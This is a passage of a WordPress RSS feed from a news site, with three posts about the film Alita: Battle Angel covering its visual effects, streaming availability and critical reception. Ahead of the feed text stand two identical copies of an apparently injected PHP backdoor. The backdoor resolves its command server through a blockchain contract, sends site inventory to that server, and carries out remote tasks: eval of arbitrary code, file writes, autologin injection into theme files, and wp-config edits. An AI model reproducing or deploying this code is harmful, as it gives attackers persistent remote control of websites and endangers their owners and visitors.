// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Alita – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 16 Feb 2019 15:34:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Alita – Brief News https://briefnews.eu 32 32 How ‘Alita: Battle Angel’ triumphed over the uncanny valley https://briefnews.eu/how-alita-battle-angel-triumphed-over-the-uncanny-valley/ https://briefnews.eu/how-alita-battle-angel-triumphed-over-the-uncanny-valley/#respond Sat, 16 Feb 2019 15:34:42 +0000 http://briefnews.eu/how-alita-battle-angel-triumphed-over-the-uncanny-valley/

When the first trailer for the live action Alita: Battle Angel dropped in late December 2017, the internet was abuzz about the eponymous character’s large CG eyes. Heck, even we called them “creepy” and “weird.” Now that the film’s finally here and I’ve had a chance to check out this long-awaited comic adaptation, I can safely say our fears were overblown. In fact, Alita might be one of the most realistic humans I’ve ever seen on-screen — huge manga eyes and all.

Alita: Battle Angel

You might be familiar with the concept of the uncanny valley, but a brief refresher: The more realistic a human simulation like an android or CG character becomes, the more we notice the small differences. Eventually we become repulsed. Sometimes we can’t even articulate what’s bothering us; we just know something feels off, and it makes us uneasy. An often-cited example is the dead eyes of Tom Hanks’ various characters in Polar Express.

For the most part, filmmakers are aware of this problem and try to avoid it, making their characters more cartoony or not human at all: Think Caesar from the most recent Planet of the Apes films or the cast of pretty much any Pixar movie. And Alita might initially seem to be another nonhuman character, given that she’s a cyborg with a completely machine body: The only part of her that’s fully biological, from the start of the film, is her brain. But the movie reminds us constantly that underneath those mechanical parts, she’s still an emotionally fragile human girl.

ALITA: BATTLE ANGEL

Her cyborg nature is very much central to the plot. Alita, broken and amnesiac, is found abandoned in a scrapyard by a kind cybernetics doctor who replaces her lost mechanical body and adopts her as a daughter figure. She’s a stand-in for the child he lost years before, so he’s naturally inclined to protect her. But it’s tough in a post-apocalyptic city where citizens are often forced to replace their biology with mechanical bits just to survive. And even then, they risk having those ripped away by bandits. Alita is instinctively drawn to the violence of this world, for reasons she doesn’t consciously understand at first. It’s a story we’ve definitely seen before, but the fun of watching it this time around is the sheer complexity of this lived-in world. (And, of course, the fights are pretty cool.)

The original Battle Angel Alita comic, created by Yukito Kishiro in the early ’90s, was never going to translate well to live action. It’s set in a rundown slum called Iron City, populated with cyborgs who aren’t always recognizably human. Some are simply replacing lost limbs, others may graft on parts for manual labor and a few may even transform themselves into rolling murder tanks in the hopes of winning the city’s favorite deadly sport, Motorball. There’s a giant city looming overhead called Zalem, held aloft by a space elevator. It’s all visually fantastic and previously could only be depicted with any accuracy through anime: An original video animation was released in 1993 that adapts the first two volumes of the series, but it was never continued any further.

ALITA: BATTLE ANGEL

The live-action version has been in the works for nearly two decades — with original director James Cameron continuously putting it off as he was busy with other projects. Eventually it was passed off to Robert Rodriguez, whose distinct style matches the hyperviolent scenes of the original story. The long delay in making the film helped a lot: The team at Weta applied everything it learned from films like the Lord of the Rings and Hobbit trilogies, Planet of the Apes and, of course, Avatar. However, after Cameron’s blockbuster made a huge splash, effects seemed to stagnate: Studios cut costs and underinvested in VFX houses, leading to substandard work. But you won’t find any shoddy work here. In fact, there are advances both big and small.

The film gets you to invest in Alita as a real, living human being by imbuing her with a level of detail never before seen in a CG character. Her eyes may be enlarged and her mouth reduced in order to match the iconic look of the manga, but it’s something you quickly forget after the first minute. The whole thing was motion captured from Rose Salazar’s performance, where Weta was able to pick up the smallest facial expressions: Salazar has a distinct little nose twitch that her computerized doppelgänger also emulates. That’s partly how this film manages to avoid the uncanny valley: It has the little quirks we expect to see when interacting with another person. We want to see the little things that make someone different from everyone else.

Twentieth Century Fox

This level of detail also extends to how Alita moves, which changes based on which body she’s wearing. She starts out the movie in a delicate, ceramic-like form, and her movements are that of a clockwork doll. When Alita upgrades to the more powerful “berserker” chassis later in the film, her movements become smoother and more organic. This reflects not only her newfound confidence but also the high level of technology she now commands. VFX supervisor Eric Saindon told me that these were decisions made by the effects team and not necessarily part of Rose’s original motion-captured performance. But you’d never guess it wasn’t a deliberate acting choice because of how natural it all seems.

There’s also a lot more physical contact here between the cyborgs and biological characters like Christoph Waltz’s Ido or Keean Johnson’s Hugo. It’s way more frequent and intimate than what we’ve seen in movies like Avatar where the blue-skinned Na’vi and the humans rarely interacted. Now we see CG characters touch, caress and hold living actors: The love story between Alita and Hugo would have felt even more stiff if they didn’t at least hold hands. (Unfortunately, not much could be done for Johnson’s acting or the limpness of their dialogue together.)

ALITA: BATTLE ANGEL

Alita’s enlarged eyes are also a technological feat in themselves. Because Robert Rodriguez likes to put the camera directly into his actors’ faces, the team at Weta had to make sure her eyes looked absolutely convincing. To do that they added an obscene amount of depth and detail to her eyes: about 8.5 million polygons in each one. That’s way more than the 1.5 million that make up entire character models in Avatar. If you’re thinking that those animation files must be huge, you’re not wrong: The entire movie uses 3.5 petabytes of storage.

The history of cinema is littered with movies that are nigh-unwatchable because the special effects are so bad. The Matrix Reloaded, The Mummy Returns, Tron: Legacy — even if I could get past the awful writing, there’s still that whole uncanny valley problem to deal with when it comes to Agent Smith’s fighting or a giant hybrid Scorpion King monster. These fail because they couldn’t faithfully replace human beings, creating cartoony monstrosities instead. However, Alita: Battle Angel takes cartoony monstrosities and makes them human and real — real enough that I can see myself watching this in 10 or 20 years without cringing.

Images: Twentieth Century Fox

]]>
https://briefnews.eu/how-alita-battle-angel-triumphed-over-the-uncanny-valley/feed/ 0
Alita Battle Angel streaming: Can you watch Alita: Battle Angel online – Is it legal? https://briefnews.eu/alita-battle-angel-streaming-can-you-watch-alita-battle-angel-online-is-it-legal/ https://briefnews.eu/alita-battle-angel-streaming-can-you-watch-alita-battle-angel-online-is-it-legal/#respond Fri, 15 Feb 2019 22:25:46 +0000 http://briefnews.eu/alita-battle-angel-streaming-can-you-watch-alita-battle-angel-online-is-it-legal/

Alita: Battle Angel had a disappointing outing, despite an all-star cast. The sci-fi film currently holds a middling 60 per cent score on Rotten Tomatoes. Its critics’ consensus reads: “Alita: Battle Angel’s story struggles to keep up with its special effects, but fans of futuristic sci-fi action may still find themselves more than sufficiently entertained.”

Can you stream Alita: Battle Angel online?

As of writing, you cannot stream Alita: Battle Angel online.

Any site purporting to have the movie available is illegal, so steer clear.

Critics and moviegoers all have different tastes, and one person’s hit is another person’s flop.

On the whole, critics took issue with the lack of exposition and reliance on CGI for storytelling.

A STAR IS BORN STREAMING: CAN YOU WATCH THE FULL MOVIE ONLINE?

The CGI is impressive according to movie reviews, but can’t make up for haphazard storytelling.

The ambivalent response of critics speaks to a greater problem in movies subjected to a lascivious male gaze.

Anne Cohen at Refinery29 wrote: “I wish Alita: Battle Angel had been made by a woman.

“The cyberpunk action film inspired by Yukito Kishiro’s manga Gunnm, could have been a game-changer in the way women — and specifically teenage girls — are portrayed on screen.

HOW TO TRAIN YOUR DRAGON STREAMING: CAN YOU WATCH THE FULL MOVIE?

“A bounty-hunter cyborg with the power to bring down toxic masculinity? Sign me up!

“But alas — Robert Rodriguez directed James Cameron’s pet project, and instead of a complex, vibrant female character, Alita (Rosa Salazar) is reduced to a wide-eyed young woman (literally, her CGI-avatar eyes are huge) who feels more like a male fantasy than a woman’s idea of a hero.”

The plot of Alita Battle Angel reads: “Set several centuries in the future, the abandoned Alita is found in the scrapyard of Iron City by Ido.

Ido is a compassionate cyber-doctor who takes the unconscious cyborg Alita to his clinic.

“When Alita awakens, she has no memory of who she is, nor does she have any recognition of the world she finds herself in.

ISN’T IT ROMANTIC ON NETFLIX: HOW TO STREAM REBEL WILSON ROM-COM

“As Alita learns to navigate her new life and the treacherous streets of Iron City, Ido tries to shield her from her mysterious past.”

The estimated release date for Alita: Battle Angel on DVD and Blu-ray is May 2019.

This is also the same approximate date for its digital download release on sites like Amazon and iTunes.

Die-hard sci-fi/cyber-steam-punk fans, however, may want to head to the cinema to catch it on the big screen.

Alita: Battle Angel is now playing in cinemas.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/alita-battle-angel-streaming-can-you-watch-alita-battle-angel-online-is-it-legal/feed/ 0
Alita panned by critics: What is wrong with Alita: Battle Angel? Why is it SO bad? https://briefnews.eu/alita-panned-by-critics-what-is-wrong-with-alita-battle-angel-why-is-it-so-bad/ https://briefnews.eu/alita-panned-by-critics-what-is-wrong-with-alita-battle-angel-why-is-it-so-bad/#respond Sat, 02 Feb 2019 03:33:31 +0000 http://briefnews.eu/alita-panned-by-critics-what-is-wrong-with-alita-battle-angel-why-is-it-so-bad/

Alita: Battle Angel is set several centuries in the future, the film starts when the abandoned Alita is found in the scrapyard of Iron City by Ido, a compassionate cyber-doctor who takes the unconscious cyborg Alita to his clinic. When Alita awakens, she has no memory of who she is, nor does she have any recognition of the world she finds herself in. As Alita learns to navigate her new life and the treacherous streets of Iron City, Ido tries to shield her from her mysterious past.

Why is Alita: Battle Angel so bad?

It’s never easy to pinpoint exactly what makes a movie bad.

